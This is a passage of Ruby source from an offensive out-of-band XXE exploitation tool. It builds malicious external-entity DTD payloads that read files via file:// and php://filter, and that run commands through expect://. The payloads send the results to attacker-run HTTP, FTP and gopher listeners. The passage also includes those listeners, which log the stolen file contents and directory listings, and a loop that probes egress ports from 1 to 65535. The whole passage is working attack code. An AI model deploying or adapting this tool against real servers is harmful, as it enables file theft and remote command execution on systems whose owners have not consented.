elsif expect != ""
if enum == "ftp"
if phpfilter == "n"
payload = "<!ENTITY % payl SYSTEM \"expect://#{expect}\">\r\n<!ENTITY % int \"<!ENTITY % trick SYSTEM 'ftp://#{host}:#{ftp_port}/%payl;'>\">"
client.print("HTTP/1.1 200 OK\r\nContent-Length: #{payload.length}\r\nConnection: close\r\nContent-Type: application/xml\r\n\r\n#{payload}")
else
payload = "<!ENTITY % payl SYSTEM \"php://filter/read=convert.base64-encode/resource=expect://#{expect}\">\r\n<!ENTITY % int \"<!ENTITY % trick SYSTEM 'ftp://#{host}:#{ftp_port}/%payl;'>\">"
client.print("HTTP/1.1 200 OK\r\nContent-Length: #{payload.length}\r\nConnection: close\r\nContent-Type: application/xml\r\n\r\n#{payload}")
end
elsif enum == "http"
if phpfilter == "n"
payload = "<!ENTITY % payl SYSTEM \"expect://#{expect}\">\r\n<!ENTITY % int \"<!ENTITY % trick SYSTEM 'http://#{host}:#{http_port}/?p=%payl;'>\">"
client.print("HTTP/1.1 200 OK\r\nContent-Length: #{payload.length}\r\nConnection: close\r\nContent-Type: application/xml\r\n\r\n#{payload}")
else
payload = "<!ENTITY % payl SYSTEM \"php://filter/read=convert.base64-encode/resource=expect://#{expect}\">\r\n<!ENTITY % int \"<!ENTITY % trick SYSTEM 'http://#{host}:#{http_port}/?p=%payl;'>\">"
client.print("HTTP/1.1 200 OK\r\nContent-Type: application/xml\r\nContent-Length: #{payload.bytesize}\r\nConnection: close\r\n\r\n#{payload}")
end
end
elsif enum == "ftp" && expect == ""
if phpfilter == "n"
payload = "<!ENTITY % payl SYSTEM \"#{$rproto}:///#{enumpath}\">\r\n<!ENTITY % int \"<!ENTITY % trick SYSTEM 'ftp://#{host}:#{ftp_port}/%payl;'>\">"
client.print("HTTP/1.1 200 OK\r\nContent-Length: #{payload.length}\r\nConnection: close\r\nContent-Type: application/xml\r\n\r\n#{payload}")
else
payload = "<!ENTITY % payl SYSTEM \"php://filter/read=convert.base64-encode/resource=file:///#{enumpath}\">\r\n<!ENTITY % int \"<!ENTITY % trick SYSTEM 'ftp://#{host}:#{ftp_port}/%payl;'>\">"
client.print("HTTP/1.1 200 OK\r\nContent-Length: #{payload.length}\r\nConnection: close\r\nContent-Type: application/xml\r\n\r\n#{payload}")
end
elsif enum == "http" && expect == ""
if phpfilter == "n"
payload = "<!ENTITY % payl SYSTEM \"#{$rproto}:///#{enumpath}\">\r\n<!ENTITY % int \"<!ENTITY % trick SYSTEM 'http://#{host}:#{http_port}/?p=%payl;'>\">"
client.print("HTTP/1.1 200 OK\r\nContent-Length: #{payload.length}\r\nConnection: close\r\nContent-Type: application/xml\r\n\r\n#{payload}")
else
payload = "<!ENTITY % payl SYSTEM \"php://filter/read=convert.base64-encode/resource=file:///#{enumpath}\">\r\n<!ENTITY % int \"<!ENTITY % trick SYSTEM 'http://#{host}:#{http_port}/?p=%payl;'>\">"
client.print("HTTP/1.1 200 OK\r\nContent-Length: #{payload.length}\r\nConnection: close\r\nContent-Type: application/xml\r\n\r\n#{payload}")
end
elsif enum == "gopher" && expect == ""
payload = "<!ENTITY % payl SYSTEM \"#{$rproto}:///#{enumpath}\">\r\n<!ENTITY % int \"<!ENTITY % trick SYSTEM 'gopher://#{host}:#{gopher_port}/?gopher=%payl;'>\">"
client.print("HTTP/1.1 200 OK\r\nContent-Length: #{payload.length}\r\nConnection: close\r\nContent-Type: application/xml\r\n\r\n#{payload}")
end
puts "XML payload sent:\n#{payload}\n\n" if $verbose == "y"
end
# HTTP data retrival
if req.include? "?p="
switch = 0
puts "Response with file/directory content received:\n" + req + "\nEnumeration unlocked." if $verbose == "y"
# retrieve p parameter value and respond
req = req.sub("GET /?p=", "").split(" ")[0]
client.print("HTTP/1.1 200 OK\r\nContent-Length: 6\r\nConnection: close\r\nContent-Type: text/plain\r\n\r\nThanks")
# base64 decode if parameter was encoded
if phpfilter == "y"
req = Base64.decode64(req)
end
# if PHP expect then print and exit
if expect != ""
puts "Result of \"#{expect}\" command:\n" + req
exit(1)
end
# set proper splitter
splitter = "%0A"
splitter = "\n" if phpfilter == "y"
req.split(splitter).each do |param|
param = URI.decode(param)
# logging to file
log(param + "\n")
# push to array if directory listing is detected for further enumeration
pusharr(param)
end
end
client.close
}
end
end
end
# FTP server to read files/directory listings and log to files
if enum == "ftp"
Thread.start do
loop do
Thread.start(ftp.accept) do |client|
$done = 0
switch = 0
puts "Response with file/directory content received. Enumeration unlocked." if $verbose == "y"
$tmppath = $nextpath
client.puts("220 XPLOIT Welcomes!")
begin
status = Timeout::timeout($contimeout) {
loop {
req = client.gets()
break if req.nil?
# respond with proper option
if req.include? "LIST"
client.puts("drwxrwxrwx 1 xxe xxe 1 Jan 01 01:01 xxe")
client.puts("150 Opening BINARY mode data connection for /xxe")
client.puts("226 Transfer complete")
end
if req.include? "USER"
client.puts("331 password required")
end
if req.include? "PORT"
client.puts("200 PORT command OK")
else
client.puts("230 Now you can send data")
end
# truncate requests to proper format and base64 decode if encoded
if req.include? "RETR "
req = req.split(' ')[1..-1].join(' ')
req += "\n"
end
if phpfilter == "y"
req = Base64.decode64(req)
end
# if PHP expect then print and exit
if expect != ""
puts "Result of \"#{expect}\" command:\n" + req
exit(1)
end
# logging to file
log(req)
# clear requests that are known to be not part of directory listing
req = req.chomp
if req.include?("CWD ") || req.match(/^USER /) || req.match(/^PASS /) || req == "TYPE I" || req.include?("EPSV") || req == "TYPE A" || req == "LIST"
req = ""
end
# push to array if directory listing is detected for further enumeration
pusharr(req)
}
}
rescue Timeout::Error
end
client.close
end
end
end
end
# gopher server to read files/directory listings and log to files
if enum == "gopher"
Thread.start do
loop do
Thread.start(gopher.accept) do |client|
$done = 0
switch = 0
puts "Response with file/directory content received. Enumeration unlocked." if $verbose == "y"
$tmppath = $nextpath
begin
status = Timeout::timeout($contimeout) {
loop {
req = ""
loop do
tmp = client.gets()
break if tmp.chomp == ""
req += tmp
end
req.sub! 'gopher=', ''
req.split("\n").each do |param|
# logging to file
log(param + "\n")
# push to array if directory listing is detected for further enumeration
pusharr(param)
end
}
}
rescue Timeout::Error
end
client.close
end
end
end
end
# logger
if $logger == "y"
puts "You can now make requests."
puts "Enter \"exit\" to quit."
loop do
cmp = Readline.readline("> ", true)
exit(1) if cmp.chomp == "exit"
end
end
# unfiltered ports enumeration
if enumports != ""
ports = ""
# enumerating all ports
if enumports == "all"
j = 1
while j <= 65535 do
$dtd = "<!DOCTYPE convert [ <!ENTITY % remote SYSTEM \"http://#{host}:#{j}/success.dtd\">%remote;]>"
begin
Thread.start do
loop do
enum = TCPServer.new j
Thread.start(enum.accept) do |client|
ports += String(j) + ","
client.close
break
end
end
end
configreq()
sendreq()
send2ndreq() if $secfile != ""
j = j + 1
rescue Errno::EADDRINUSE
puts "Cannot bind to #{j} port."
end